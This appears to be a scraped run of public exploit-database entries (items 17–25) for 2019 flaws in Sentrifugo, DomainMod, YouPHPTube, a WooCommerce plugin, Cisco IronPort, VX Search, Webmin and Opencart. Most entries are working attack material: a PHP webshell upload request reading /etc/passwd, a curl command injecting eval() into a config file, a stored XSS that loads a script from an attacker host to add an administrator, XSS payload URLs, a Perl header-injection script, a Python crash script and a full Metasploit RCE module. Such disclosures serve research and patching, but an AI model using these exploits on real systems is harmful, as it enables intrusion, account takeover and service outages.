  17. # Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass # Google Dork: N/A # Date: 8/29/2019 # Exploit Author: creosote # Vendor Homepage: http://www.sentrifugo.com/ # Version: 3.2 # Tested on: Ubuntu 18.04 # CVE : CVE-2019-15813 Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell. File upload bypass locations: /sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed) sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed) # POC 1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents) 2. Turn Burp Intercept On 3. Select webshell with valid extension - ex: shell.php.doc 4. Alter request in the upload... Update 'filename' to desired extension. ex: shell.php Change content type to 'application/x-httpd-php' Example exploitation request: ==================================================================================================== POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1 Host: 10.42.1.42 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents X-Requested-With: XMLHttpRequest Content-Length: 494 Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507 Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5 Connection: close -----------------------------205946976257369239535727507 Content-Disposition: form-data; name="myfile"; filename="shell.php" Content-Type: application/x-httpd-php <?php $cmd=$_GET['cmd']; system($cmd);?> -----------------------------205946976257369239535727507 Content-Disposition: form-data; name="" undefined -----------------------------205946976257369239535727507 Content-Disposition: form-data; name="" undefined -----------------------------205946976257369239535727507-- ==================================================================================================== 5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request. 6. Append above saved parameter and visit your new webshell Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd
  18. # Exploit Title: DomainMod <= 4.13 - Cross-Site Scripting # Date: 30 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: https://domainmod.org/ # Version: <= 4.13 # Tested on: Ubuntu 18.04.1 # CVE: CVE-2019-15811 The software 'DomainMOD' is vulnerable for Cross-Site Scripting in the file '/reporting/domains/cost-by-month.php' in the parameter 'daterange'. As of today (30 August 2019) this issue is unfixed. Almost all other files that use the parameter 'daterange' are vulnerable. See: https://github.com/domainmod/domainmod/tree/master/reporting/domains Proof-of-Concept: https://domain.tld/reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(1)%22autofocus=%22
  19. # Exploit Title: YouPHPTube <= 7.4 - Remote Code Execution # Google Dork: intext:"Powered by YouPHPTube" # Date: 29 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: https://www.youphptube.com/ # Version: <= 7.4 # Tested on: Ubuntu 18.04.1 YouPHPTube before 7.5 does no checks at all if you wanna generate a new config file. We can use this to generate our own config file with our own (malicious) code. All you need is a MySQL server that allows remote connections. Fixed by the following commit: https://github.com/YouPHPTube/YouPHPTube/commit/b32b410c9191c3c5db888514c29d7921f124d883 Proof-of-Concept: # Run this command (with your own data replaced) # Then visit https://domain.tld/?zerodayslol=phpinfo() for code execution! curl -s "https://domain.tld/install/checkConfiguration.php" --data "[email protected]&createTables=2&mainLanguage=RCE&salt=';eval(\$_REQUEST['zerodayslol']);echo '&systemAdminPass=zerodays.LOL&systemRootPath=./&webSiteRootURL=<URL>&webSiteTitle=Zerodays.lol&databaseHost=<DB_HOST>&databaseName=<DB_NAME>&databasePass=<DB_PASS>&databasePort=<DB_PORT>&databaseUser=<DB_USER>"
  20. # Exploit Title: Sentrifugo 3.2 - Persistent Cross-Site Scripting # Google Dork: N/A # Date: 8/29/2019 # Exploit Author: creosote # Vendor Homepage: http://www.sentrifugo.com/ # Version: 3.2 # Tested on: Ubuntu 18.04 # CVE : CVE-2019-15814 Multiple Stored XSS vulnerabilities were found in Sentrifugo 3.2. In most test cases session riding was also possible by utilizing the XSS vulnerability. This potentially allows for full account takeover. /sentrifugo/index.php/employee/edit/id/5 <--Attacker employee ID here. POC example pertains to this one. /sentrifugo/index.php/feedforwardquestions/add /sentrifugo/index.php/announcements/add # Proof of Concept A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in "Certificate Description" (Self Service >> My Details >> Training and Certificate Details) <script src="http://Attacker-IP/add-admin-user.js"></script> Add the following 'add-admin-user.js' file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo. A few crafting notes: - 'employeeId' - this can be found in the users profile. - 'employeeNumId' - this can be an arbitrary number as long as it does not exist. - 'emprole' - in this test case '2_1' was the Administrator role - 'emp_status_id' - based off "Contractor", "Full-Time", etc. Contractor is '6' in this case. - 'emailaddress' - by default the initial password is sent via email, so this will need to be valid in order to login. ---------------------------------------------------------------------------------------------------- function execute() { var nuri ="http://10.42.1.42/sentrifugo/index.php/employee/add"; xhttp = new XMLHttpRequest(); xhttp.open("POST", nuri, true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.withCredentials = "true"; var body = ""; body += "\r\n\r\n"; body += "id=&final_emp_id=EMPP99&tmp_emp_name=Select+Candidate&employeeId=EMPP&employeeNumId=99" + "&firstname=Bob&lastname=Blah&modeofentry=Direct&emprole=2_1&emailaddress=bob%40localhost.com" + "&businessunit_id=0&reporting_manager=2&emp_status_id=6&screenflag=add&date_of_joining=07%2F04%2F2019&submit=Save"; xhttp.send(body); return true; } execute(); ---------------------------------------------------------------------------------------------------- When a user with permissions to add users (HR role by default) views your XSS "Certification Description" the add user request should be sent. Other session riding request that can possibly be crafted: - Company Announcement - gets blasted out to all users. Also has an additional XSS vuln in the description. - Add Employee Leave - this one is tricky to craft due to needed parameter knowledge. - Background check - update or add employee background check status. - Disciplinary Actions - manipulate existent or non-existent disciplinary records.
  21. # Exploit Title: WordPress Plugin WooCommerce Product Feed <= 2.2.18 - Cross-Site Scripting # Date: 30 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: https://wordpress.org/plugins/webappick-product-feed-for-woocommerce/ # Version: <= 2.2.18 # Tested on: Ubuntu 18.04.1 # CVE: CVE-2019-1010124 The WordPress plugin 'WooCommerce Product Feed' does not correctly sanitize user-input, which leads to Cross-Site Scripting in the Admin Panel. Since it is WordPress, it's fairly easy to get RCE with this XSS, by editing the theme files via (for example) XHR requests with included Javascript. Proof-of-Concept: https://domain.tld/wp-admin/admin.php?page=woo_feed_manage_feed&link=%3E%3Cscript%3Ealert`zerodays.lol`;%3C/script%3E
  22. #!/usr/bin/perl -w # # # Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection # # # Copyright 2019 (c) Todor Donev <todor.donev at gmail.com> # # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use HTTP::CookieJar::LWP; my $host = shift || 'https://192.168.1.1:443/'; print ("[+] Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection\n"); print ("===================================================================================\n"); print ("[!] Author: Todor Donev <todor.donev\@gmail.com>\n"); print ("[?] e.g. perl $0 https://target:port/\n") and exit if ($host !~ m/^http/); my $user_agent = rand_ua("browsers"); my $jar = HTTP::CookieJar::LWP->new(); my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'], ssl_opts => { verify_hostname => 0 } ); $browser->timeout(10); $browser->cookie_jar($jar); $browser->agent($user_agent); my $request = HTTP::Request->new (POST => $host, [ Content_Type => "application/x-www-form-urlencoded" , Referer => $host], " "); $request->header("Host" => "Header-Injection"); my $content = $browser->request($request); print $content->headers_as_string();
  23. # Exploit Title: VX Search Enterprise v10.4.16 DoS # Google Dork: N/A # Date: 17.01.2018 # Exploit Author: James Chamberlain [chumb0] # Vendor Homepage: http://www.vxsearch.com/downloads.html # Software Link: http://www.vxsearch.com/setups/vxsearchent_setup_v10.4.16.exe # Version: v10.4.16 # Tested on: Windows 7 Home x86 # CVE : N/A # Have been unable to overwrite SEH/EIP, but the crash serves as an unauthenticated DoS. # Replication - Large buffer sent in the majority of Request Headers. PoC attached. Server needs http enabling (non default) #!/usr/bin/python import socket pwnd = "A" * 5000 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.50.133', 80)) buf = "" buf += "GET / HTTP/1.1" + "\r\n" buf += "Host: 192.168.50.133\r\n" buf += "User-Agent: " + pwnd + "r\n" buf += "\r\n\r\n" s.send(buf) s.close()
  24. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Webmin < 1.930 Remote Code Execution", 'Description' => %q{ This exploit takes advantage of a code execution issue within the function unserialise_variable() located in web-lib-funcs.pl, in order to gain root. The only prerequisite is a valid session id. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Bercegay', # Vulnerability Discovery ], 'References' => [ [ 'URL', 'https://www.gulftech.org/' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => '2019/08/30', 'DefaultTarget' => 0)) register_options( [ OptString.new('WMPORT', [ true, "Webmin port", '10000']), OptString.new('WMUSER', [ true, "Webmin username", 'test']), OptString.new('WMPASS', [ true, "Webmin password", 'test']), ]) end def check # Set Webmin port datastore['RPORT'] = datastore['WMPORT'] # Verbose print_status("Attempting to login") # Send login request res = send_request_cgi( { 'uri' => '/session_login.cgi', 'method' => 'POST', 'vars_post' => { 'user' => datastore['WMUSER'], 'pass' => datastore['WMPASS'], 'save' => '1' }, 'cookie' => "redirect=1; testing=1; sessiontest=1;" }) # If succesful cookie will be set if ( res and res.headers['Set-Cookie'] ) # Do we have a valid SID? if ( /sid=/.match(res.headers['Set-Cookie']) ) # Extract the SID sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1] print_good("Login was successful") else # No dice print_bad("Unable to login") return Exploit::CheckCode::Safe end else # No dice print_bad("Unexpected response") return Exploit::CheckCode::Safe end # Verbose print_status("Checking if host is vulnerable") # Try to execute arbitrary code res = send_request_cgi({ 'uri' => '/rpc.cgi', 'method' => 'POST', 'headers' => { 'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s }, 'data' => 'OBJECT CGI;print "Content-Type: text/metasploit\n\n"', 'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid }) # If it works our custom Content-Type will be set if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" ) # Good return Exploit::CheckCode::Vulnerable else # Bad return Exploit::CheckCode::Safe end end def exploit # Set Webmin port datastore['RPORT'] = datastore['WMPORT'] # Verbose print_status("Attempting to login") # Send login request res = send_request_cgi( { 'uri' => '/session_login.cgi', 'method' => 'POST', 'vars_post' => { 'user' => datastore['WMUSER'], 'pass' => datastore['WMPASS'], 'save' => '1' }, 'cookie' => "redirect=1; testing=1; sessiontest=1;" }) # If succesful cookie will be set if ( res and res.headers['Set-Cookie'] ) # Do we have a valid SID? if ( /sid=/.match(res.headers['Set-Cookie']) ) # Extract the SID sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1] print_good("Login was successful") else # No dice print_bad("Unable to login") return end else # No dice print_bad("Unexpected response") return end # Verbose print_status("Sending selected payload") # Hex encode payload to prevent problems with the payload getting mangled hex = '\x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('\x') # Send selected payload res = send_request_cgi({ 'uri' => '/rpc.cgi', 'method' => 'POST', 'headers' => { 'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s }, 'data' => 'OBJECT CGI;`' + hex + '`', 'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid }) end end
  25. # Exploit Title: Opencart 3.x.x Authenticated Stored XSS # Date: 08/15/2019 # Exploit Author: Nipun Somani # Author Web: http://thehackerstore.net # Vendor Homepage: https://www.opencart.com/ # Software Link: https://github.com/opencart/opencart # Version: 3.x.x # Tested on: Debian 9, Windows 10 x64 # CVE : CVE-2019-15081 Description: The Opencart Version 3.x.x allows editing Source/HTML of the Categories / Product / Information pages in the admin panel which isn't sanitized to user input allowing for an attacker to execute arbitrary javascript code leading to Stored Cross-Site-Scripting(XSS). Proof-of-Concept(POC): 1. Log-in to admin-panel. 2. Navigate to Catlog and then select any of [Categories or Products or Information] options and and pick any entry or create one. 3. Under description click on Source option and insert your XSS payload. i.e: "><script>alert("XSS")</script> 4. Now visit the modified page of your public website. And your injected XSS payload will execute.